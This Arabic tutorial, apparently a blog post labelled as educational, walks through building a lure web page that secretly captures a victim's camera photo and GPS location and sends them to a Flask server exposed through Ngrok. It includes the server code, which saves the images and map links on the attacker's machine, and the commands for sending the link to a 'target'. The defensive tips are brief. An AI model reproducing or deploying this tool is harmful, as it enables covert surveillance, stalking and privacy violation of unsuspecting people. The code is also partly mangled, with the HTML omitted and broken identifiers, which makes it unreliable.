في عالم الأمن السيبراني، من المهم فهم كيف يمكن استغلال بعض الأدوات لجمع المعلومات بطريقة متقدمة، خاصةً لأغراض اختبار الاختراق الأخلاقي أو التوعية بمخاطر الهندسة الاجتماعية. في هذا المقال، سنقدم لك شرحًا احترافيًا لكيفية إنشاء مشروع يسمح لك بالتقاط صورة وموقع أي مستخدم فقط من خلال رابط بسيط، باستخدام Python وFlask وNgrok، خطوة بخطوة.
⚠️ تنبيه هام: هذا المقال للأغراض التعليمية فقط. أي استخدام ضار لهذا المحتوى يعرضك للمساءلة القانونية.
—
✅ ما الذي سنتعلمه في هذا المقال؟
ما هي الفكرة وراء المشروع؟
الأدوات المطلوبة.
شرح الكود الكامل خطوة بخطوة.
ربط Flask بـ Ngrok ليصبح المشروع متاحًا على الإنترنت.
كيف ترسل الرابط إلى الهدف بطريقة مقنعة.
كيف تحلل النتائج وتحفظ البيانات.
—
💡 الفكرة باختصار
الفكرة تقوم على إنشاء صفحة ويب وهمية جذّابة (مثل: “حوّل صورتك إلى أنمي”) تطلب من المستخدم السماح للكاميرا والموقع الجغرافي بالوصول. بعد السماح، يتم:
التقاط صورة من الكاميرا.
الحصول على الموقع الجغرافي.
إرسال هذه المعلومات إلى السيرفر.
حفظ الصورة والموقع تلقائيًا على جهازك.
—
🧰 الأدوات المطلوبة
—
🧾 الكود الكامل للمشروع (Flask + HTML + JS)
$$
اسم الملف: app.py
from flask import Flask, request, render_template_string
import os
import datetime
import base64
app = Flask(name)
HTML_TEMPLATE = ""“<html>… (ضع كود HTML كاملاً من الأعلى هنا) …</html>”""
@app.route(‘/’)
def index():
return render_template_string(HTML_TEMPLATE)
@app.route(‘/save_data’, methods=[‘POST’])
def save_data():
data = request.get_json()
latitude = data[‘lat’]
longitude = data[‘lon’]
image_data = data[‘image’]
timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
desktop_path = os.path.join(os.path.expanduser("~"), "Desktop")
image_path = os.path.join(desktop_path, f"capture_{timestamp}.png")
# حفظ الصورة
image_data = image_data.split(',')[1]
with open(image_path, "wb") as f:
f.write(base64.b64decode(image_data))
# حفظ الموقع
map_link = f"https://www.google.com/maps?q={latitude},{longitude}"
with open(os.path.join(desktop_path, "locations.txt"), 'a', encoding='utf-8') as f:
f.write(f"[{timestamp}] - الموقع: {map_link} - الصورة: {image_path}\n")
return "تم حفظ البيانات!"
if name == ‘main’:
app.run(host=‘0.0.0.0’, port=5000)
$$
—
🌐 ربط Flask بـ Ngrok
قم بتشغيل السيرفر:
$$
python app.py
$$
افتح نافذة جديدة في الطرفية وشغّل Ngrok:
$$
ngrok http 5000
$$
انسخ الرابط الذي يبدأ بـ https://
وأرسله إلى الهدف.
—
📨 كيفية إرسال الرابط بطريقة مقنعة؟
✴️ لا ترسل الرابط مباشرة. بل:
—
📁 أين يتم حفظ البيانات؟
الصور يتم حفظها على سطح المكتب.
المواقع الجغرافية تُحفظ في ملف locations.txt
بنفس المسار.
يُكتب كل سطر بصيغة:
$$
[2025xxxx_xxxx] - الموقع: https://www.google.com/maps?q=LAT,LON - الصورة: C:\Users\xxx\Desktop\capture_xxxx.png
$$
—
🧠 ماذا تتعلم من هذا المشروع كهكر أخلاقي؟
استغلال Media Permissions API في المتصفح.
كيفية استخدام Flask كـ Web Server.
طريقة ربط الأجهزة المحلية بالإنترنت عبر Ngrok.
تكتيكات الهندسة الاجتماعية (Social Engineering).
أهمية حماية الكاميرا والموقع في المتصفحات.
—
🛡️ نصائح للمطورين لحماية مواقعهم
إذا كنت مطوّرًا لموقع إلكتروني، فاحذر:
لا تعتمد على إخفاء الصفحة فقط.
قم بتعطيل الوصول إلى الكاميرا والموقع إن لم تكن ضرورية.
راقب السلوك المشبوه عبر سجل المتصفح أو إعدادات CSP.
استخدم طبقات أمان قوية مثل:
—
📌 خاتمة
هذا المثال الواقعي يوضح مدى سهولة إساءة استخدام تقنيات بسيطة في حال عدم الوعي الأمني. سواء كنت هاكرًا أخلاقيًا أو مطورًا أو مجرد مستخدم، عليك دائمًا أن تكون واعيًا بالمخاطر التي قد تأتي من رابط بسيط. لا تنخدع بالتصميم الجميل… فربما خلفه شيء أكثر خطورة.